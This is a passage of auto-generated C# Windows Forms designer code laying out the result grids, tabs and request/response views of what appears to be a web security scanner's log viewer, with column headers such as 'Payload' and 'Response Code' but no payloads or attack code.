dataGridViewCellStyle27.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle27.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle27.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle27.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle27.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.CodeGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle27; - this.CodeGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.CodeGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.Column2, - this.Column1, - this.dataGridViewTextBoxColumn3}); - this.CodeGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.CodeGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.CodeGrid.GridColor = System.Drawing.Color.White; - this.CodeGrid.Location = new System.Drawing.Point(0, 0); - this.CodeGrid.Margin = new System.Windows.Forms.Padding(0); - this.CodeGrid.MultiSelect = false; - this.CodeGrid.Name = "CodeGrid"; - this.CodeGrid.ReadOnly = true; - this.CodeGrid.RowHeadersVisible = false; - this.CodeGrid.RowHeadersWidth = 10; - this.CodeGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.CodeGrid.Size = new System.Drawing.Size(868, 277); - this.CodeGrid.TabIndex = 4; - this.CodeGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CodeGrid_CellClick); - // - // Column2 - // - this.Column2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.Column2.HeaderText = "Log ID"; - this.Column2.Name = "Column2"; - this.Column2.ReadOnly = true; - this.Column2.Width = 60; - // - // Column1 - // - this.Column1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle28.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.Column1.DefaultCellStyle = dataGridViewCellStyle28; - this.Column1.FillWeight = 101.5228F; - this.Column1.HeaderText = "Response Code"; - this.Column1.Name = "Column1"; - this.Column1.ReadOnly = true; - // - // dataGridViewTextBoxColumn3 - // - this.dataGridViewTextBoxColumn3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn3.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn3.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn3.Name = "dataGridViewTextBoxColumn3"; - this.dataGridViewTextBoxColumn3.ReadOnly = true; - // - // KeywordsTab - // - this.KeywordsTab.BackColor = System.Drawing.Color.Black; - this.KeywordsTab.Controls.Add(this.KeywordsGrid); - this.KeywordsTab.Location = new System.Drawing.Point(4, 22); - this.KeywordsTab.Margin = new System.Windows.Forms.Padding(0); - this.KeywordsTab.Name = "KeywordsTab"; - this.KeywordsTab.Size = new System.Drawing.Size(868, 277); - this.KeywordsTab.TabIndex = 1; - this.KeywordsTab.Text = " Keywords Inserted "; - // - // KeywordsGrid - // - this.KeywordsGrid.AllowUserToAddRows = false; - this.KeywordsGrid.AllowUserToDeleteRows = false; - this.KeywordsGrid.AllowUserToOrderColumns = true; - this.KeywordsGrid.AllowUserToResizeRows = false; - this.KeywordsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.KeywordsGrid.BackgroundColor = System.Drawing.Color.White; - this.KeywordsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle29.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle29.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle29.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle29.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle29.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle29.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle29.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.KeywordsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle29; - this.KeywordsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.KeywordsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn2, - this.dataGridViewTextBoxColumn4, - this.dataGridViewTextBoxColumn13}); - this.KeywordsGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.KeywordsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.KeywordsGrid.GridColor = System.Drawing.Color.White; - this.KeywordsGrid.Location = new System.Drawing.Point(0, 0); - this.KeywordsGrid.Margin = new System.Windows.Forms.Padding(0); - this.KeywordsGrid.MultiSelect = false; - this.KeywordsGrid.Name = "KeywordsGrid"; - this.KeywordsGrid.ReadOnly = true; - this.KeywordsGrid.RowHeadersVisible = false; - this.KeywordsGrid.RowHeadersWidth = 10; - this.KeywordsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.KeywordsGrid.Size = new System.Drawing.Size(868, 277); - this.KeywordsGrid.TabIndex = 5; - this.KeywordsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.KeywordsGrid_CellClick); - // - // dataGridViewTextBoxColumn2 - // - this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn2.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; - this.dataGridViewTextBoxColumn2.ReadOnly = true; - this.dataGridViewTextBoxColumn2.Width = 60; - // - // dataGridViewTextBoxColumn4 - // - this.dataGridViewTextBoxColumn4.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle30.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn4.DefaultCellStyle = dataGridViewCellStyle30; - this.dataGridViewTextBoxColumn4.FillWeight = 101.5228F; - this.dataGridViewTextBoxColumn4.HeaderText = "Keywords Inserted"; - this.dataGridViewTextBoxColumn4.Name = "dataGridViewTextBoxColumn4"; - this.dataGridViewTextBoxColumn4.ReadOnly = true; - // - // dataGridViewTextBoxColumn13 - // - this.dataGridViewTextBoxColumn13.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn13.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn13.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn13.Name = "dataGridViewTextBoxColumn13"; - this.dataGridViewTextBoxColumn13.ReadOnly = true; - // - // BodyTab - // - this.BodyTab.Controls.Add(this.BodyGrid); - this.BodyTab.Location = new System.Drawing.Point(4, 22); - this.BodyTab.Name = "BodyTab"; - this.BodyTab.Size = new System.Drawing.Size(868, 277); - this.BodyTab.TabIndex = 2; - this.BodyTab.Text = " Body Variation "; - this.BodyTab.UseVisualStyleBackColor = true; - // - // BodyGrid - // - this.BodyGrid.AllowUserToAddRows = false; - this.BodyGrid.AllowUserToDeleteRows = false; - this.BodyGrid.AllowUserToOrderColumns = true; - this.BodyGrid.AllowUserToResizeRows = false; - this.BodyGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.BodyGrid.BackgroundColor = System.Drawing.Color.White; - this.BodyGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle31.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle31.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle31.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle31.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle31.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle31.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle31.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.BodyGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle31; - this.BodyGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.BodyGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn5, - this.dataGridViewTextBoxColumn6, - this.dataGridViewTextBoxColumn14}); - this.BodyGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.BodyGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.BodyGrid.GridColor = System.Drawing.Color.White; - this.BodyGrid.Location = new System.Drawing.Point(0, 0); - this.BodyGrid.Margin = new System.Windows.Forms.Padding(0); - this.BodyGrid.MultiSelect = false; - this.BodyGrid.Name = "BodyGrid"; - this.BodyGrid.ReadOnly = true; - this.BodyGrid.RowHeadersVisible = false; - this.BodyGrid.RowHeadersWidth = 10; - this.BodyGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.BodyGrid.Size = new System.Drawing.Size(868, 277); - this.BodyGrid.TabIndex = 5; - this.BodyGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyGrid_CellClick); - // - // dataGridViewTextBoxColumn5 - // - this.dataGridViewTextBoxColumn5.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn5.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn5.Name = "dataGridViewTextBoxColumn5"; - this.dataGridViewTextBoxColumn5.ReadOnly = true; - this.dataGridViewTextBoxColumn5.Width = 60; - // - // dataGridViewTextBoxColumn6 - // - this.dataGridViewTextBoxColumn6.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle32.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn6.DefaultCellStyle = dataGridViewCellStyle32; - this.dataGridViewTextBoxColumn6.FillWeight = 101.5228F; - this.dataGridViewTextBoxColumn6.HeaderText = "Response Body Variation (No. of New Characters Inserted due to Payload)"; - this.dataGridViewTextBoxColumn6.Name = "dataGridViewTextBoxColumn6"; - this.dataGridViewTextBoxColumn6.ReadOnly = true; - // - // dataGridViewTextBoxColumn14 - // - this.dataGridViewTextBoxColumn14.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn14.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn14.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn14.Name = "dataGridViewTextBoxColumn14"; - this.dataGridViewTextBoxColumn14.ReadOnly = true; - // - // SetCookieTab - // - this.SetCookieTab.Controls.Add(this.SetCookieGrid); - this.SetCookieTab.Location = new System.Drawing.Point(4, 22); - this.SetCookieTab.Name = "SetCookieTab"; - this.SetCookieTab.Size = new System.Drawing.Size(868, 277); - this.SetCookieTab.TabIndex = 3; - this.SetCookieTab.Text = " Set-Cookie Variations"; - this.SetCookieTab.UseVisualStyleBackColor = true; - // - // SetCookieGrid - // - this.SetCookieGrid.AllowUserToAddRows = false; - this.SetCookieGrid.AllowUserToDeleteRows = false; - this.SetCookieGrid.AllowUserToOrderColumns = true; - this.SetCookieGrid.AllowUserToResizeRows = false; - this.SetCookieGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.SetCookieGrid.BackgroundColor = System.Drawing.Color.White; - this.SetCookieGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle33.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle33.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle33.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle33.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle33.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle33.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle33.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.SetCookieGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle33; - this.SetCookieGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.SetCookieGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn7, - this.dataGridViewTextBoxColumn8, - this.Column3, - this.dataGridViewTextBoxColumn15}); - this.SetCookieGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.SetCookieGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.SetCookieGrid.GridColor = System.Drawing.Color.White; - this.SetCookieGrid.Location = new System.Drawing.Point(0, 0); - this.SetCookieGrid.Margin = new System.Windows.Forms.Padding(0); - this.SetCookieGrid.MultiSelect = false; - this.SetCookieGrid.Name = "SetCookieGrid"; - this.SetCookieGrid.ReadOnly = true; - this.SetCookieGrid.RowHeadersVisible = false; - this.SetCookieGrid.RowHeadersWidth = 10; - this.SetCookieGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.SetCookieGrid.Size = new System.Drawing.Size(868, 277); - this.SetCookieGrid.TabIndex = 5; - this.SetCookieGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.SetCookieGrid_CellClick); - // - // dataGridViewTextBoxColumn7 - // - this.dataGridViewTextBoxColumn7.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn7.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn7.Name = "dataGridViewTextBoxColumn7"; - this.dataGridViewTextBoxColumn7.ReadOnly = true; - this.dataGridViewTextBoxColumn7.Width = 60; - // - // dataGridViewTextBoxColumn8 - // - this.dataGridViewTextBoxColumn8.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle34.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn8.DefaultCellStyle = dataGridViewCellStyle34; - this.dataGridViewTextBoxColumn8.FillWeight = 101.5228F; - this.dataGridViewTextBoxColumn8.HeaderText = "Cookie Name"; - this.dataGridViewTextBoxColumn8.Name = "dataGridViewTextBoxColumn8"; - this.dataGridViewTextBoxColumn8.ReadOnly = true; - this.dataGridViewTextBoxColumn8.Width = 96; - // - // Column3 - // - this.Column3.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle35.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.Column3.DefaultCellStyle = dataGridViewCellStyle35; - this.Column3.FillWeight = 1F; - this.Column3.HeaderText = "Variation"; - this.Column3.Name = "Column3"; - this.Column3.ReadOnly = true; - this.Column3.Width = 400; - // - // dataGridViewTextBoxColumn15 - // - this.dataGridViewTextBoxColumn15.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn15.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn15.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn15.Name = "dataGridViewTextBoxColumn15"; - this.dataGridViewTextBoxColumn15.ReadOnly = true; - // - // HeadersTab - // - this.HeadersTab.Controls.Add(this.HeadersGrid); - this.HeadersTab.Location = new System.Drawing.Point(4, 22); - this.HeadersTab.Name = "HeadersTab"; - this.HeadersTab.Size = new System.Drawing.Size(868, 277); - this.HeadersTab.TabIndex = 4; - this.HeadersTab.Text = " Headers Variation "; - this.HeadersTab.UseVisualStyleBackColor = true; - // - // HeadersGrid - // - this.HeadersGrid.AllowUserToAddRows = false; - this.HeadersGrid.AllowUserToDeleteRows = false; - this.HeadersGrid.AllowUserToOrderColumns = true; - this.HeadersGrid.AllowUserToResizeRows = false; - this.HeadersGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.HeadersGrid.BackgroundColor = System.Drawing.Color.White; - this.HeadersGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle36.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle36.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle36.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle36.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle36.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle36.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle36.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.HeadersGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle36; - this.HeadersGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.HeadersGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn9, - this.dataGridViewTextBoxColumn10, - this.dataGridViewTextBoxColumn16, - this.dataGridViewTextBoxColumn1}); - this.HeadersGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.HeadersGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.HeadersGrid.GridColor = System.Drawing.Color.White; - this.HeadersGrid.Location = new System.Drawing.Point(0, 0); - this.HeadersGrid.Margin = new System.Windows.Forms.Padding(0); - this.HeadersGrid.MultiSelect = false; - this.HeadersGrid.Name = "HeadersGrid"; - this.HeadersGrid.ReadOnly = true; - this.HeadersGrid.RowHeadersVisible = false; - this.HeadersGrid.RowHeadersWidth = 10; - this.HeadersGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.HeadersGrid.Size = new System.Drawing.Size(868, 277); - this.HeadersGrid.TabIndex = 5; - this.HeadersGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.HeadersGrid_CellClick); - // - // dataGridViewTextBoxColumn9 - // - this.dataGridViewTextBoxColumn9.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn9.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn9.Name = "dataGridViewTextBoxColumn9"; - this.dataGridViewTextBoxColumn9.ReadOnly = true; - this.dataGridViewTextBoxColumn9.Width = 60; - // - // dataGridViewTextBoxColumn10 - // - this.dataGridViewTextBoxColumn10.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; - dataGridViewCellStyle37.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn10.DefaultCellStyle = dataGridViewCellStyle37; - this.dataGridViewTextBoxColumn10.FillWeight = 101.5228F; - this.dataGridViewTextBoxColumn10.HeaderText = "Response Header Name"; - this.dataGridViewTextBoxColumn10.Name = "dataGridViewTextBoxColumn10"; - this.dataGridViewTextBoxColumn10.ReadOnly = true; - this.dataGridViewTextBoxColumn10.Width = 149; - // - // dataGridViewTextBoxColumn16 - // - this.dataGridViewTextBoxColumn16.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle38.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn16.DefaultCellStyle = dataGridViewCellStyle38; - this.dataGridViewTextBoxColumn16.FillWeight = 1F; - this.dataGridViewTextBoxColumn16.HeaderText = "Variation"; - this.dataGridViewTextBoxColumn16.Name = "dataGridViewTextBoxColumn16"; - this.dataGridViewTextBoxColumn16.ReadOnly = true; - this.dataGridViewTextBoxColumn16.Width = 400; - // - // dataGridViewTextBoxColumn1 - // - this.dataGridViewTextBoxColumn1.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn1.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn1.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn1.Name = "dataGridViewTextBoxColumn1"; - this.dataGridViewTextBoxColumn1.ReadOnly = true; - // - // TimeTab - // - this.TimeTab.Controls.Add(this.RoundtripGrid); - this.TimeTab.Location = new System.Drawing.Point(4, 22); - this.TimeTab.Name = "TimeTab"; - this.TimeTab.Size = new System.Drawing.Size(868, 277); - this.TimeTab.TabIndex = 5; - this.TimeTab.Text = " Time Variation "; - this.TimeTab.UseVisualStyleBackColor = true; - // - // RoundtripGrid - // - this.RoundtripGrid.AllowUserToAddRows = false; - this.RoundtripGrid.AllowUserToDeleteRows = false; - this.RoundtripGrid.AllowUserToOrderColumns = true; - this.RoundtripGrid.AllowUserToResizeRows = false; - this.RoundtripGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; - this.RoundtripGrid.BackgroundColor = System.Drawing.Color.White; - this.RoundtripGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; - dataGridViewCellStyle39.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - dataGridViewCellStyle39.BackColor = System.Drawing.SystemColors.Control; - dataGridViewCellStyle39.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - dataGridViewCellStyle39.ForeColor = System.Drawing.SystemColors.WindowText; - dataGridViewCellStyle39.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle39.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle39.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.RoundtripGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle39; - this.RoundtripGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; - this.RoundtripGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { - this.dataGridViewTextBoxColumn11, - this.dataGridViewTextBoxColumn12, - this.dataGridViewTextBoxColumn23}); - this.RoundtripGrid.Dock = System.Windows.Forms.DockStyle.Fill; - this.RoundtripGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; - this.RoundtripGrid.GridColor = System.Drawing.Color.White; - this.RoundtripGrid.Location = new System.Drawing.Point(0, 0); - this.RoundtripGrid.Margin = new System.Windows.Forms.Padding(0); - this.RoundtripGrid.MultiSelect = false; - this.RoundtripGrid.Name = "RoundtripGrid"; - this.RoundtripGrid.ReadOnly = true; - this.RoundtripGrid.RowHeadersVisible = false; - this.RoundtripGrid.RowHeadersWidth = 10; - this.RoundtripGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.RoundtripGrid.Size = new System.Drawing.Size(868, 277); - this.RoundtripGrid.TabIndex = 5; - this.RoundtripGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.RoundtripGrid_CellClick); - // - // dataGridViewTextBoxColumn11 - // - this.dataGridViewTextBoxColumn11.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - this.dataGridViewTextBoxColumn11.HeaderText = "Log ID"; - this.dataGridViewTextBoxColumn11.Name = "dataGridViewTextBoxColumn11"; - this.dataGridViewTextBoxColumn11.ReadOnly = true; - this.dataGridViewTextBoxColumn11.Width = 60; - // - // dataGridViewTextBoxColumn12 - // - this.dataGridViewTextBoxColumn12.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; - dataGridViewCellStyle40.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; - this.dataGridViewTextBoxColumn12.DefaultCellStyle = dataGridViewCellStyle40; - this.dataGridViewTextBoxColumn12.FillWeight = 101.5228F; - this.dataGridViewTextBoxColumn12.HeaderText = "Response Roundtrip Time Variation"; - this.dataGridViewTextBoxColumn12.Name = "dataGridViewTextBoxColumn12"; - this.dataGridViewTextBoxColumn12.ReadOnly = true; - this.dataGridViewTextBoxColumn12.Width = 200; - // - // dataGridViewTextBoxColumn23 - // - this.dataGridViewTextBoxColumn23.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - this.dataGridViewTextBoxColumn23.FillWeight = 98.47716F; - this.dataGridViewTextBoxColumn23.HeaderText = "Payload"; - this.dataGridViewTextBoxColumn23.Name = "dataGridViewTextBoxColumn23"; - this.dataGridViewTextBoxColumn23.ReadOnly = true; - // - // ScanTraceHelpTab - // - this.ScanTraceHelpTab.Controls.Add(this.textBox1); - this.ScanTraceHelpTab.Location = new System.Drawing.Point(4, 22); - this.ScanTraceHelpTab.Name = "ScanTraceHelpTab"; - this.ScanTraceHelpTab.Size = new System.Drawing.Size(876, 303); - this.ScanTraceHelpTab.TabIndex = 3; - this.ScanTraceHelpTab.Text = " Help "; - this.ScanTraceHelpTab.UseVisualStyleBackColor = true; - // - // textBox1 - // - this.textBox1.BackColor = System.Drawing.Color.White; - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Cursor = System.Windows.Forms.Cursors.Arrow; - this.textBox1.Dock = System.Windows.Forms.DockStyle.Fill; - this.textBox1.Location = new System.Drawing.Point(0, 0); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(876, 303); - this.textBox1.TabIndex = 0; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // LoadLogProgressBar - // - this.LoadLogProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.LoadLogProgressBar.Location = new System.Drawing.Point(303, 45); - this.LoadLogProgressBar.MarqueeAnimationSpeed = 10; - this.LoadLogProgressBar.Name = "LoadLogProgressBar"; - this.LoadLogProgressBar.Size = new System.Drawing.Size(236, 23); - this.LoadLogProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; - this.LoadLogProgressBar.TabIndex = 33; - this.LoadLogProgressBar.Visible = false; - // - // LogDisplayTabs - // - this.LogDisplayTabs.Controls.Add(this.tabPage12); - this.LogDisplayTabs.Controls.Add(this.tabPage29); - this.LogDisplayTabs.Controls.Add(this.tabPage1); - this.LogDisplayTabs.Controls.Add(this.tabPage2); - this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); - this.LogDisplayTabs.Name = "LogDisplayTabs"; - this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); - this.LogDisplayTabs.SelectedIndex = 0; - this.LogDisplayTabs.Size = new System.Drawing.Size(884, 228); - this.LogDisplayTabs.TabIndex = 4; - // - // tabPage12 - // - this.tabPage12.Controls.Add(this.RequestView); - this.tabPage12.Location = new System.Drawing.Point(4, 22); - this.tabPage12.Margin = new System.Windows.Forms.Padding(0); - this.tabPage12.Name = "tabPage12"; - this.tabPage12.Size = new System.Drawing.Size(876, 202); - this.tabPage12.TabIndex = 0; - this.tabPage12.Text = " Request "; - this.tabPage12.UseVisualStyleBackColor = true; - // - // RequestView - // - this.RequestView.BackColor = System.Drawing.Color.White; - this.RequestView.Dock = System.Windows.Forms.DockStyle.Fill; - this.RequestView.Location = new System.Drawing.Point(0, 0); - this.RequestView.Margin = new System.Windows.Forms.Padding(0); - this.RequestView.Name = "RequestView"; - this.RequestView.ReadOnly = true; - this.RequestView.Size = new System.Drawing.Size(876, 202); - this.RequestView.TabIndex = 0; - // - // tabPage29 - // - this.tabPage29.Controls.Add(this.ResponseView); - this.tabPage29.Location = new System.Drawing.Point(4, 22); - this.tabPage29.Margin = new System.Windows.Forms.Padding(0); - this.tabPage29.Name = "tabPage29"; - this.tabPage29.Size = new System.Drawing.Size(876, 202); - this.tabPage29.TabIndex = 1; - this.tabPage29.Text = " Response "; - this.tabPage29.UseVisualStyleBackColor = true; - // - // ResponseView - // - this.ResponseView.BackColor = System.Drawing.Color.White; - this.ResponseView.Dock = System.Windows.Forms.DockStyle.Fill; - this.ResponseView.IncludeReflectionTab = true; - this.ResponseView.Location = new System.Drawing.Point(0, 0); - this.ResponseView.Margin = new System.Windows.Forms.Padding(0); - this.ResponseView.Name = "ResponseView"; - this.ResponseView.ReadOnly = true; - this.ResponseView.Size = new System.Drawing.Size(876, 202); - this.ResponseView.TabIndex = 0; - // - // tabPage1 - // - this.tabPage1.Controls.Add(this.tabControl5); - this.tabPage1.Location = new System.Drawing.Point(4, 22); - this.tabPage1.Name = "tabPage1"; - this.tabPage1.Size = new 